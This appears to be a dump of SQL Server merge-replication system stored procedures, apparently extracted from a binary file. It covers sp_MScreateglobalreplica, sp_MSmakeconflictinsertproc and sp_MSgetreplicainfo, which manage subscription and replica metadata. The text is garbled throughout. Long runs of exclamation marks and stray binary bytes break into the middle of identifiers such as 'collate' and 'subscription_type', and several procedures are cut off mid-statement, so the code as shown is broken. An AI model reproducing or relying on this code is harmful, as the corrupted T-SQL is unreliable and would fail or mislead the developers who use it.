                    OR (@schematype in (131,132) and schematype in (131,132))  -- SCHEMA_TYPE_DYNAMICNATIVEBCP or SCHEMA_TYPE_DYNAMICCHARBCP
                    OR (@schematype in (208,209) and schematype in (208,209))  -- SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90 or SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90
                    OR (@schematype in (210,211) and schematype in (210,211))  -- SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY or SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORGLOBALONLY
                    OR (@schematype in (212,213) and schematype in (212,213))))  -- SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT or SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORLIGHTWEIGHT
    begin
        set @UPDATE_SCHEMACHANGE = 1 /*common case to update a row */
    end
    else if exists (select * from dbo.sysmergeschemachange
            where pubid = @pubid 
            AND artid = @artid
            AND schematype = @schematype 
            AND schematype = 31
            AND schematext = @schematext)
    begin
        set @UPDATE_SCHEMACHANGE = 2  /*only insert a CREATE SCHEMA row if the schema text is different from the existing one for the article */
    end
    else
    begin
        set @UPDATE_SCHEMACHANGE = 0; /*common case to insert a new row*/
    end

   if(@UPDATE_SCHEMACHANGE=1 or @UPDATE_SCHEMACHANGE=2 )
   begin
        /* Select the existing schema guid */
        select @schemaversion = schemaversion, @schemaguid = schemaguid from dbo.sysmergeschemachange
            where pubid = @pubid 
            AND artid = @artid
            AND (schematype = @schematype
                  OR (@schematype in (3,4) and schematype in (3,4)) 
                  OR (@schematype in (80,81) and schematype in (80,81))
                  OR (@schematype in (82,83) and schematype in (82,83))
                  OR (@schematype in (84,85) and schematype in (84,85))
                  OR (@schematype in (131,132) and schematype in (131,132))
                  OR (@schematype in (208,209) and schematype in (208,209))
                  OR (@schematype in (210,211) and schematype in (210,211))
                  OR (@schematype in (212,213) and schematype in (212,213)))
                   
        /* For directory commands, delete the previous directory before the update */
        if (@schematype = 7)
        begin

            /* Also remove the alternate directory command, pre/post 
            ** commands, snapshot header commands, and 
            ** dynsnap validation command from the 
            ** dbo.sysmergeschemachange table
            */                     
            delete dbo.sysmergeschemachange
             where pubid = @pubid 
               AND schematype in (25, 40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 71)

        end

        /*
        ** Update the schema change version
        */
        if(@UPDATE_SCHEMACHANGE=1)
        begin
            exec @retcode = sys.sp_MSupdateschemachange @pubid, @artid, @schemaversion, 
                @schemaguid, @schematype, @schematext
        end
        else if (@UPDATE_SCHEMACHANGE=2)
        begin
            /* don't update the schematext here, and we need the schematext value to find the correct row to update */
            exec @retcode = sys.sp_MSupdateschemachange @pubid, @artid, @schemaversion, 
                @schemaguid, @schematype, @schematext, 0
        end                
        
        if @@error <> 0 or @retcode <> 0
        begin
            RAISERROR(20054 , 16, -1)
            return (1)
        end
    end
    else        
    begin
        /* Insert the schema change */
        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange

        /* update the schema version and schemaguid in dbo.sysmergesubscriptions */      
        declare @subid       uniqueidentifier
        declare @sysmergesub_schemaversion  int
        declare @sysmergesub_schemaguid     uniqueidentifier

        select  @subid = subid from dbo.sysmergesubscriptions 
            where UPPER(subscriber_server) coll!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(+cvBj
create procedure sys.sp_MScreateglobalreplica(
    @pubid                  uniqueidentifier = NULL,            /* Publication ID */
    @subid                  uniqueidentifier,       /* Replica ID */
    @replicastate           uniqueidentifier,      
    @replica_server         sysname,        /* Replica server */
    @replica_db             sysname,        /* Replica database */
    @replica_priority       real,               /* Replica priority */
    @subscriber_type        tinyint = 0,        /* Replica's subscriber type - global, hub */
    @subscription_type      int = 0,            /* Replica's subscription type - push or pull */
    @datasource_type        int = 0,
    @datasource_path        nvarchar(255) = NULL,
    @replnick               varbinary(6),       /* Replica nickname */
    @status                 int,                /* Replica status */
    @sync_type              tinyint = 2,        /* Replica sync type 1 = no sync, 2 = automatic */
    @publication            sysname = NULL,     /* Replica publication */
    @distributor            sysname = NULL,     /* Replica's distributor */
    @replica_version        int = 60,           /* 60=shiloh sp3 or lower, 90 = yukon */
    @compatlevel            int = 80           /* backward compatibility level, default=Sphinx */
    ) AS
    
    SET NOCOUNT ON

    DECLARE @pubnickname        int
    declare @retcode            int
    declare @backward_comp_level int

    -- Check to see if current publication has permission
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck  
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    
    
    -- NOTE
    select @replica_db = RTRIM(@replica_db)
    select @backward_comp_level= sys.fn_MSgetmaxbackcompatlevel ()

    /* Replnick in 80 was int and in 90 is binary(6). The proc
       does a implicit conversion from int to varbinary(6) but we still
       need to reverse the binary value to get a corresponding 90 replnick */
    if @compatlevel < 90
        set @replnick= cast(reverse(substring(@replnick,1,4)) as binary(4))+ 0x0000  

    BEGIN TRAN MScreateglobalreplica    
        /*
        ** Populate the local copy of dbo.sysmergesubscriptions
        */
        if exists (select * from dbo.sysmergesubscriptions where subid = @subid)
        begin
            update dbo.sysmergesubscriptions 
                SET datasource_type     = @datasource_type,
                    db_name             = @replica_db,
                    status              = @status,
                    subscriber_type     = @subscriber_type,
                    subscription_type   = @subscription_type,
                    priority            = @replica_priority,
                    sync_type           = @sync_type,
                    subscriber_server   = @replica_server,
                    replica_version = @replica_version
            where subid = @subid and pubid = @pubid                         
            IF @@ERROR <> 0
                goto FAILURE
                
            -- if the replica is a publications loop back global subscription
            -- add an entry to sysmergepublications
            if (@subid = @pubid)
            begin
                if exists (select * from dbo.sysmergepublications where pubid = @pubid)
                begin
                    update dbo.sysmergepublications
                    set distributor = @distributor
                    where pubid = @pubid
                    IF @@ERROR <> 0
                        goto FAILURE
                end
                else
                begin
                    -- added this to avoid problem of having too low a backward_comp_level
                    insert dbo.sysmergepublications(publisher, publisher_db, pubid, name, distributor, backward_comp_level)
                    values (@replica_server, @replica_db, @pubid, @publication, @distributor, @backward_comp_level)
                    IF @@ERROR <> 0
                        goto FAILURE
              end
            end
        end
        else
        begin
            /* 
            ** If attempting to tell the current replica about another replica whose pubid IS NULL
            ** ignore the insert because current replica has more current info.
            */
            if exists (select * from dbo.sysmergesubscriptions where subid = @subid and @pubid IS NULL)
                goto SUCCESS
                
            IF EXISTS (SELECT * FROM dbo.sysmergesubscriptions 
                       WHERE UPPER(subscriber_server) collate database_default = UPPER(@replica_server) collate database_default AND 
                             db_name = @replica_db and pubid = @pubid)
                goto SUCCESS

            -- if this is an attempt to tell this replica about itself ignore it since this replica will always have the most
            -- recent information about itself.
            if (@subid=@pubid) and 
                    exists (select 1 from dbo.sysmergepublications 
                            where UPPER(publisher) = UPPER(@replica_server) and publisher_db = @replica_db and pubid <> @pubid)
                    and UPPER(@replica_server) = UPPER(publishingservername())
                    and @replica_db = db_name()
                goto SUCCESS
            
            -- now check if this is a publication's loopback global replica entry. If so we need to do something different.
            if (@subid = @pubid)
            begin
                -- There is a possibility that the subscriber has a subscription to this publication and that subscription
                -- has not gone through a first sync yet and was added using addmergepullsubscription. In that case even though
                -- the replica entry is there it would have the wrong pubid. By creating a global replica here we would be duplicating
                -- the sysmergepublications and sysmergesubscriptions entries for the publications loop back replica. Hence just
                -- do an update here instead of an insert.
                declare @pubid_local uniqueidentifier

                -- now check if there is a replica entry to this publication with a different pubid
                select @pubid_local = pubid from dbo.sysmergepublications 
                    where name = @publication and UPPER(publisher)=UPPER(@replica_server) and publisher_db=@replica_db
                if @pubid_local is not NULL
                begin
                    if exists (select * from dbo.sysmergesubscriptions where pubid = @pubid_local and subid = pubid)
                    begin
                        update dbo.sysmergesubscriptions 
                            SET pubid = @pubid,
                                subid = @subid,
                                datasource_type     = @datasource_type,
                                db_name             = @replica_db,
                                status              = @status,
                                subscriber_type     = @subscriber_type,
                                subscription_type   = @subscription_type,
                                priority            = @replica_priority,
                                sync_type           = @sync_type,
                                subscriber_server   = @replica_server,
                                replica_version = @replica_version
                            where subid = pubid and pubid = @pubid_local
                        IF @@ERROR <> 0
                            goto FAILURE
                    end
                    else
                    begin
                        -- this case happens when create global replica is called after addinitial subscription
                        insert dbo.sysmergesubscriptions(subid, replicastate, datasource_type,  
                            db_name, pubid, status, subscriber_type, subs!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<&+tBjcription_type, priority, 
                            sync_type, subscriber_server, replnickname, replica_version)
                        values (@subid, @replicastate, @datasource_type, 
                            @replica_db, @pubid, @status, @subscriber_type, @subscription_type, @replica_priority, 
                            @sync_type, @replica_server, @replnick, @replica_version)
                        IF @@ERROR <> 0
                            goto FAILURE
                    end
                        
                    update dbo.sysmergepublications
                        set pubid = @pubid,
                            distributor = @distributor
                        where pubid = @pubid_local
                    IF @@ERROR <> 0
                        goto FAILURE

                    -- In some instances, there can be entries from deleted publications in
                    -- sysmergesubscriptions that have the same db_name and subscriber_server
                    -- as a current publication.
                    -- The below update needs to be restricted to not reassign the pubid on
                    -- old entries where a new entry already exists as this will violate the unique
                    -- constraint across pubid, subscriber_server, and db_name.
                    -- See VSTS 82551 and 161794.
                    update dbo.sysmergesubscriptions
                        set pubid = @pubid 
                        where pubid = @pubid_local 
                        and subid not in (select sms1.subid from dbo.sysmergesubscriptions sms1 join
                                                                 dbo.sysmergesubscriptions sms2 on
                                                                 sms1.subscriber_server = sms2.subscriber_server and
                                                                 sms1.db_name = sms2.db_name
                                                                 where sms1.pubid = @pubid_local and
                                                                 sms2.pubid = @pubid)                   
                    IF @@ERROR <> 0
                        goto FAILURE
                        
                    update dbo.sysmergearticles
                        set pubid = @pubid 
                        where pubid = @pubid_local
                    IF @@ERROR <> 0
                        goto FAILURE
                end
                else
                begin
                    -- if we get here it means that we do not already know about this replica and so do the inserts
                    insert dbo.sysmergesubscriptions(subid, replicastate, datasource_type,  
                        db_name, pubid, status, subscriber_type, subscription_type, priority, 
                        sync_type, subscriber_server, replnickname, replica_version)
                    values (@subid, @replicastate, @datasource_type, 
                        @replica_db, @pubid, @status, @subscriber_type, @subscription_type, @replica_priority, 
                        @sync_type, @replica_server, @replnick, @replica_version)
                    IF @@ERROR <> 0
                        goto FAILURE

                    -- Null values in field [retention] in sysmergepublications table is impacting clean up procedure sp_mergemetadataretentioncleanup
                    -- For CE subscribers. Fix is to use a small (1) Retention value, this should effectively remove these rows from the cleanup date
                    -- calculation but still allow cleanup.
                    insert dbo.sysmergepublications(publisher, publisher_db, pubid, name, distributor, backward_comp_level, retention, retention_period_unit)
                    values (@replica_server, @replica_db, @pubid, @publication, @distributor, @backward_comp_level, 1, 0)
                    IF @@ERROR <> 0
                        goto FAILURE
                end
            end
            else
            begin
                insert dbo.sysmergesubscriptions(subid, replicastate, datasource_type,  
                    db_name, pubid, status, subscriber_type, subscription_type, priority, 
                    sync_type, subscriber_server, replnickname, replica_version)
                values (@subid, @replicastate, @datasource_type, 
                    @replica_db, @pubid, @status, @subscriber_type, @subscription_type, @replica_priority, 
                    @sync_type, @replica_server, @replnick, @replica_version)
                IF @@ERROR <> 0
                    goto FAILURE
            end
        end
            
        -- 9.0 publications use 6 byte replnicks. If we did sp_addmergepullsubscription for such
        -- a publication, we currently have a 4 byte nickname only for our own replica. 
        -- If we do not already have a used nickname for the replica, we now change
        -- that nickname to 6 bytes.
        select @backward_comp_level= backward_comp_level from dbo.sysmergepublications where pubid = @pubid
        if @backward_comp_level >= 90
        begin
            declare @newsubnick binary(6)
            declare @srcguid uniqueidentifier

            set @srcguid= newid()
            
            exec sys.sp_MSgenreplnickname 
                @srcguid=         @srcguid, 
                @replnick=         @newsubnick output,
                @compatlevel=     @backward_comp_level

            update sub
                set sub.replnickname= @newsubnick
                from dbo.sysmergesubscriptions as sub
                where
                    -- only update if not already a real 6 byte nickname
                    substring(sub.replnickname, 5, 2) = 0x0000
                    and
                    -- only update that specific nickname
                    sub.pubid = @pubid and sub.subid <> @pubid and sub.db_name = db_name()
                    and
                    -- only update if the nickname not already exists for another subscription
                    2 > (select count(*) from dbo.sysmergesubscriptions 
                            where replnickname = sub.replnickname)
        end

SUCCESS:            
    COMMIT TRAN         
    RETURN 0

FAILURE:
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT = 1 
        ROLLBACK TRANSACTION MScreateglobalreplica
    else
        COMMIT TRANSACTION
    
    RAISERROR (14057, 16, -1)
    RETURN 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(G v

-- usage pattern from CMergeDatasource should be:
create procedure sys.sp_MSmakeconflictinsertproc 
    (@tablename sysname,       -- conflict table
    @ownername sysname, 
    @procname sysname, 
    @basetableid int,          -- base table the article is from
    @pubid uniqueidentifier=NULL,
    @generate_subscriber_proc bit = 0
    )
as
declare @arglist    nvarchar(4000)
declare @header     nvarchar(4000)
declare @qualname   nvarchar(517) -- 258 * 2 + 1
declare @argname    nvarchar(270)
declare @wherepc    nvarchar(255)
declare @idstr      nvarchar(100)
declare @colname nvarchar(258)
declare @guidcol nvarchar(258)
declare @typename nvarchar(258)
declare @base_typename sysname
declare @schname nvarchar(140)  --use this to track the user schema name
declare @len smallint
declare @prec smallint
declare @scale int
declare @retcode smallint
declare @create_time_col nvarchar(8)
declare @pubidstr nvarchar(40)
declare @guid_colname sysname
declare @original_datasourcecol sysname
declare @tablenick  int
declare @tablenickstr nvarchar(12)
declare @basetablename   nvarchar(270)
declare @qualifiedbasetable   nvarchar(517) -- 258 * 2 + 1
declare @qualifiedbasetable2   nvarchar(517) -- 258 * 2 + 1
declare @basetableowner   nvarchar(270)
declare @maintainsmetadata bit
declare @artid uniqueidentifier
declare @schema_option varbinary(8)
declare @user_type_id int

declare @id int                     -- conflict table id
declare @sync_objid int             -- article view

declare @colid smallint             -- index in sys.columns, used to iterate through sys.columns
declare @colordinal smallint        -- index in @setbm, used to interate actual data sent across
declare @colordstr nvarchar(4)      -- @colordinal stringification

declare @noset bit          -- set when column is two special ones: rowguidcol or origin_datasource_id.
                            -- they are discovered when @sys_loop=1 and need to be treated specially for the insertion to conflict table (ie skipped there)
declare @sys_loop bit       -- 0 as first staget for columns in base table, 1 as 2nd stage for columns not in base table
declare @quotedprocname nvarchar(258)

set nocount on

set @guidcol='rowguid'

select @sys_loop = 0
set @create_time_col = NULL

if (@ownername is null or @ownername = ' ')
    set @qualname = QUOTENAME(@tablename)
else
    set @qualname = QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)

/*
** To check if specified object exists in current database
*/
set @id = object_id(@qualname)
if @id is NULL return (1)
set @idstr = rtrim(convert(nchar, @id)) 
select @pubidstr = case when @pubid is null then 'NULL' else 
                '''' + convert(nvarchar(40),@pubid) + '''' end
                
-- security check
exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid=@pubid, @objid=@id
if @@error <> 0 or @retcode <> 0
    return 1

set @basetablename= object_name(@basetableid)
select @basetableowner= SCHEMA_NAME(schema_id) from sys.objects where object_id=@basetableid

if @basetableowner is not null
    set @qualifiedbasetable= quotename(@basetableowner) + '.' + quotename(@basetablename)
else
    set @qualifiedbasetable= quotename(@basetablename)

if @generate_subscriber_proc = 1
begin
    select @qualifiedbasetable2 = quotename(destination_owner) + '.' + quotename(@basetablename) from dbo.sysmergearticles where pubid=@pubid and objid = object_id(@qualifiedbasetable)
end
else
    set @qualifiedbasetable2= @qualifiedbasetable

execute @retcode= sys.sp_MStablenickname @basetableowner, @basetablename, @tablenick output
if @@ERROR <>0 OR @retcode <>0 return (1)
set @tablenickstr = rtrim(convert(nchar, @tablenick))

-- create temp table to select the command text out of
create table #tempcmd (phase int NOT NULL, step int identity NOT NULL, 
cmdtext nvarchar(max) collate database_default null)

-- create temp table that will be used by sp_MScreatedupkeyupdatequery
create table #coltab (colname nvarchar(140), paramname nvarchar(10))

-- now create the procedure
select @quotedprocname = QUOTENAME(@procname)

if @generate_subscriber_proc = 0
begin
    exec ('if object_id (''dbo.' + @quotedprocname + ''') is not null drop procedure dbo.' + @quotedprocname)
    if @@error<>0 return 1
end

select @header = 'Create procedure dbo.' + @quotedprocname + ' ( ' 
insert into #tempcmd (phase, cmdtext) values (0,  @header)

select @sync_objid= sync_objid, @artid= artid, @schema_option = schema_option from dbo.sysmergearticles where objid = @basetableid and (pubid = @pubid or @pubid is NULL)

set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)

--it doesn't make sense to replicate only token column - rowguidcol column
declare @colcount int
declare @column sysname

select @colcount=count(*) from sys.columns where object_id = @sync_objid
if @colcount = 1
begin
    select @column=name from sys.columns where object_id = @sync_objid
    if ColumnProperty(@id, @column, 'isrowguidcol') = 1        
    begin
        raiserror(21597, 16, -1)
        return (1)
    end
end

set @colordinal=0

-- the column exists in conflict table and
-- either exists or not exists
-- in base table
if @sys_loop =1
    select @colid = min(column_id) from sys.columns where object_id = @id and is_computed<>1 and user_type_id <> type_id('timestamp')
        and name not in (select name from sys.columns where object_id=@basetableid)
else
    select @colid = min(column_id) from sys.columns where object_id = @id and is_computed<>1 and user_type_id <> type_id('timestamp')
        and name in (select name from sys.columns where object_id=@basetableid)

select top 1 @colname = C.name, 
    @typename = type_name(C.user_type_id), 
    @base_typename=type_name(C.system_type_id),
    @len = C.max_length,
    @schname=case when S.name<>'sys' and S.name<>'dbo'
                     then QUOTENAME(S.name)+'.' 
                     else '' end,  
    @prec = C.precision, 
    @scale = C.scale,
    @user_type_id = C.user_type_id
    from sys.columns C  
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
    where C.object_id = @id and C.column_id = @colid
    
/*
** Get the column list from the conflict_table schema and filter it with 
table view for vertical partitioning
*/
-- do first for basic columns and 2nd for columns not in basic tables
Reverse_Order:
-- loop over columns
while (@colname is not null) 
begin
    set @noset = 0
    -- skip unless
    -- the column exists in base table and in article view
    -- or the column does not exist in base table (i.e. conflict table only)
    if exists (select * from sys.columns where name=@colname and object_id=@basetableid)
        and not exists (select * from sys.columns where name=@colname and object_id=@sync_objid)
        goto NEXT_COL

    set @colordinal = @colordinal + 1
    set @colordstr = convert(nvarchar(4), @colordinal)
    
    if ((@base_typename='nvarchar' or @base_typename='nchar') and  @len <> -1)-- a unit of nchar takes 2 bytes
        select @len = @len/2

    if @generate_subscriber_proc = 0
        exec @retcode = sys.sp_MSmaptype @typename out, @len, @prec, @scale
    else
        exec @retcode = sys.sp_MSmap_subscriber_type @user_type_id, @len, @prec, @scale, @schema_option, @typename out, @schname out
    if @@ERROR<>0 or @retcode<>0 return (1)
    select @argname = '@p' + rtrim(convert(nchar, @colid))
            
    insert into #coltab (colname, paramname) values (quotename(@colname), @argname)

    -- based on colid, add text to appropriate pieces
    if (COLUMNPROPERTY( @basetableid, @colname, 'IsRowGuidCol') = 1)  
    begin
        select @noset =1
        select @guid_colname=@argname -- @px
        set @wherepc = ' where info.rowguid = ' + @argname
        set @guidcol=!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Z-n=0x 8create procedure sys.sp_MSgetreplicainfo
    (@publisher            sysname,
     @publisher_db        sysname,
     @publication         sysname,
     @datasource_type    int = 0,                 /* 0 = SQL Server, 1 = DSN, 2 = Jet */
     @server_name        sysname    = NULL,         /* Replica or subscriber Server Name */
     @db_name            sysname = NULL,         /* Replica or subscriber Database Name */
     @datasource_path    nvarchar(255) = NULL,    /* Datasource path - JET MDB file path etc */
     @compatlevel        int = 10)                -- backward compatibility level, default=Sphinx
     
as
    declare    @retcode           int
    declare    @repid             uniqueidentifier
    declare    @pubid             uniqueidentifier
    declare    @schemaguid        uniqueidentifier
    declare    @replnick          binary(6)
    declare    @subscription_type int
    declare    @validation_level  int
    declare    @reptype           int
    declare    @priority          real 
    declare    @schversion        int 
    declare    @status            int
    declare    @resync_gen        bigint
    declare    @replicastate      uniqueidentifier
    declare    @sync_type         tinyint
    declare    @description       nvarchar(255)
    declare    @dynamic_snapshot_received int
    declare    @distributor       sysname
    declare    @dometadata_cleanup int
    declare    @REPLICA_STATUS_Deleted tinyint
    declare    @REPLICA_STATUS_BeforeRestore tinyint
    declare    @REPLICA_STATUS_AttachFailed tinyint
    declare    @retention_period_unit tinyint
    declare    @islocalpubid bit, @islocalsubid bit, @cleanedup_unsent_changes bit
    declare    @last_sync_time datetime, @num_time_units_since_last_sync int
    declare    @supportability_mode int

    select @publisher_db = RTRIM(@publisher_db)
    select @db_name = RTRIM(@db_name)
    
    /* 
    ** Security Check and publication validation
    */
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, @publisher_db, @publisher, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

    set @REPLICA_STATUS_Deleted= 2
    set @REPLICA_STATUS_BeforeRestore= 7
    set @REPLICA_STATUS_AttachFailed= 6

    if (@server_name is NULL)
        SET @server_name = publishingservername()

    if (@db_name is NULL)
        set @db_name = db_name()

    select @retention_period_unit = retention_period_unit from dbo.sysmergepublications
    where pubid = @pubid

    SELECT @repid = subid, @replnick = replnickname, @priority = priority, @reptype = subscriber_type, 
        @subscription_type = subscription_type , @status = status, @replicastate = replicastate, 
        @schversion = schemaversion, @schemaguid = schemaguid,
        @sync_type = sync_type, @description = description, @priority = priority,
        @dometadata_cleanup = case when sys.fn_add_units_to_date(-1, @retention_period_unit, getdate()) > metadatacleanuptime then 1
                                    else 0
                              end,
        @last_sync_time = last_sync_date,
        @supportability_mode = supportability_mode
        FROM dbo.sysmergesubscriptions
        WHERE UPPER(subscriber_server) collate database_default = UPPER(@server_name) collate database_default 
            and db_name = @db_name and pubid = @pubid 
            and status <> @REPLICA_STATUS_Deleted 
            and status <> @REPLICA_STATUS_BeforeRestore
            and status <> @REPLICA_STATUS_AttachFailed
    if @repid is NULL
    begin
        RAISERROR(20021, 16, -1)
        return (1)
    end

    select @validation_level=validation_level, @resync_gen=resync_gen 
    from dbo.MSmerge_replinfo 
    where repid = @repid

    -- the following columns are no longer used but are being returned for backward compatibility
    select @distributor = NULL
    select @publication = NULL
    -- only return publication and distributor information if this is the loop back 
    -- subscription information of a publication
    if @repid = @pubid
    begin
        select @publication = name, @distributor = distributor from dbo.sysmergepublications 
            where pubid = @pubid
    end
    
    select @num_time_units_since_last_sync = sys.fn_datediff_units(@retention_period_unit, getdate(), @last_sync_time)

    -- update the application name that we have stored to reflect the current connection's program name
    -- this is needed here because for anonymous subscribers the program name is a guid which is different
    -- every time the merge runs
    if @repid <> @pubid
    begin
        update s 
        set s.application_name = p.program_name 
        from sys.dm_exec_sessions p, dbo.sysmergesubscriptions s where p.session_id = @@spid and s.subid = @repid
        if @@error<>0
            return 1
    end

    if @compatlevel >= 90
    begin
        select @islocalpubid = sys.fn_MSmerge_islocalpubid(@pubid), 
            @islocalsubid = sys.fn_MSmerge_islocalsubid(@repid),
            @cleanedup_unsent_changes = 0
            
        if @islocalsubid = 0
            -- called on subscriber for publisher's replica info
            -- or called on publisher for subscriber's replica info
            select @cleanedup_unsent_changes = cleanedup_unsent_changes
            from dbo.sysmergesubscriptions
            where subid = @repid    -- right replica row
        else 
        begin
            if @islocalpubid = 0
                -- called on subscriber for subscriber's replica info
                select @cleanedup_unsent_changes = cleanedup_unsent_changes
                from dbo.sysmergesubscriptions
                where pubid = @pubid
                and subid = @pubid    -- we are interested in the cleanedup_unsent_changes bit from the publisher replica row
            else
                -- called on publisher for publisher's replica info
                select @cleanedup_unsent_changes = 0 -- no way to tell which subscriber we are syncing with
        end
        
        select @repid, @replnick,
               @reptype, @subscription_type, @priority, @schversion, @schemaguid, @status, @replicastate, 
               @sync_type, @description, @publication, @distributor, @validation_level, @resync_gen, @dometadata_cleanup, 
               @pubid, @cleanedup_unsent_changes, @num_time_units_since_last_sync, @supportability_mode
    end
    else
    begin
        select @repid, {fn REPLNICK_90_TO_80(@replnick)},
               @reptype, @subscription_type, @priority, @schversion, @schemaguid, @status, @pubid, 
               @sync_type, @description, @publication, @distributor, @validation_level, @resync_gen, @dometadata_cleanup

    end

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`qR	<b	.0 8create procedure sys.sp_MSsetreplicainfo
    (@publisher         sysname,
     @publisher_db      sysname,
     @publication       sysname,
